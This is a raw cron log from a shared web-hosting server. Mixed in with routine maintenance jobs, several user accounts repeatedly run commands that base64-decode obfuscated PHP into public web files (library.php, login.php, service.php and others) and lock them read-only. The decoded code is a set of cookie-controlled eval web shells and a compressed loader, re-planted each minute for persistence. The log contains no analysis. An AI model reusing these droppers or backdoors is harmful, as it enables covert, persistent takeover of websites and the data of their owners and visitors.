"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:40:02 medusa CROND[15747]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:40:02 medusa CROND[15749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:40:02 medusa CROND[15738]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 12:40:02 medusa CROND[15750]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 12:40:02 medusa CROND[15756]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:40:02 medusa CROND[15757]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:40:02 medusa CROND[15758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:40:02 medusa CROND[15762]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:40:02 medusa CROND[15746]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:41:01 medusa CROND[17636]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:41:01 medusa CROND[17646]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:41:01 medusa CROND[17647]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:41:01 medusa CROND[17648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:41:01 medusa CROND[17649]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:41:01 medusa CROND[17651]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:41:01 medusa CROND[17652]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:41:01 medusa CROND[17654]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:41:01 medusa CROND[17662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:41:01 medusa CROND[17663]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:41:01 medusa CROND[17665]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:41:01 medusa CROND[17666]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:41:01 medusa CROND[17668]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:41:01 medusa CROND[17672]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:42:01 medusa CROND[19352]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:42:01 medusa CROND[19353]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:42:01 medusa CROND[19354]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:42:01 medusa CROND[19356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:42:01 medusa CROND[19357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:42:01 medusa CROND[19359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:42:01 medusa CROND[19362]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:42:01 medusa CROND[19363]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:42:01 medusa CROND[19369]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:42:01 medusa CROND[19371]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:42:01 medusa CROND[19370]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
